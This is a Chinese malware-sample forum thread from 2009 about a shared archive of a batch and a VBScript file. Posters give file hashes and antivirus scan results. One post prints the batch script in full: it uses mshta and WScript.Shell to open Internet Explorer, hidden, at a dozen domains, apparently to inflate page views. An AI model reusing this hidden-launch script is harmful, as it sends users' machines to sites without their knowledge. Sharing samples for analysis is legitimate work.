1包2件

显示全部楼层 · 发表于 2009-7-26 00:16:44

5afcc7024ce2c6c9ed430ccfda594216 pv.vbs_
313bed4a976533eeb315016459174b8c PV.bat_

to kl,ll

显示全部楼层 · 发表于 2009-7-26 00:24:21

那个BAT也太....

ping /n 2 127.1>nul
@echo on
mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://www.163cys.cn",0)(window.close)
ping /n 2 127.1>nul
@echo on
mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://www.lyyz03.cn",0)(window.close)
ping /n 2 127.1>nul
@echo on
mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://www.lyezwlj.cn",0)(window.close)
ping /n 2 127.1>nul
@echo on
mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://www.lyezcys.cn",0)(window.close)
ping /n 2 127.1>nul
@echo on
mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://www.lyezcqz.cn",0)(window.close)
ping /n 2 127.1>nul
@echo on
mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://www.lywlj.cn",0)(window.close)
ping /n 2 127.1>nul
@echo on
mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://www.goodcys.cn",0)(window.close)
ping /n 2 127.1>nul
@echo on
mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://www.goodwlj.cn",0)(window.close)
ping /n 2 127.1>nul
@echo on
mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://www.goodcqz.cn",0)(window.close)
ping /n 2 127.1>nul
@echo on
mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://www.wlj03.cn",0)(window.close)
ping /n 2 127.1>nul
@echo on
mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://www.runwlj.cn",0)(window.close)
ping /n 2 127.1>nul
@echo on
mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://www.giftcys.cn",0)(window.close)
ping /n 40 127.1>nul
@echo on
start http://www.genwjq.com/xk/index.asp

显示全部楼层 · 发表于 2009-7-26 00:53:23

卡巴指这2个文件沒有惡意,楼上同意嗎?

显示全部楼层 · 发表于 2009-7-26 02:33:21

KIS2010过，红伞过

显示全部楼层 · 发表于 2009-7-26 07:02:23

shell命令执行IE指向×××网站

显示全部楼层 · 发表于 2009-7-26 07:05:24

我这有个好玩的bat

显示全部楼层 · 发表于 2009-7-26 09:13:20

查询编号：RS20090726090615359468
文件名称：新建文本文档.bat
文件MD5：D7F3F715A7870CE47586FA3518813282
文件状态：安全文件

显示全部楼层 · 发表于 2009-7-26 09:35:39

瑞星2010

查询编号：RS20090726083616109722
文件名称：pv.rar
文件MD5：215A5412A9EE4F477D6397B2E6FCED25
文件状态：压缩文件，包含2个文件

文件名	MD5	状态	病毒名称	解决版本号
PV.bat_	313BED4A9...	安全文件
pv.vbs_	5AFCC7024...	安全文件

显示全部楼层 · 发表于 2009-7-26 10:21:20

我没说是恶意额

我发的是个好玩的

显示全部楼层 · 发表于 2009-7-26 11:17:52

kv miss

[病毒样本] 1包2件

本帖子中包含更多资源

回复 2楼 lingbo110120 的帖子

本帖子中包含更多资源

回复 6楼 luxiao200888 的帖子

回复 7楼 Palkia 的帖子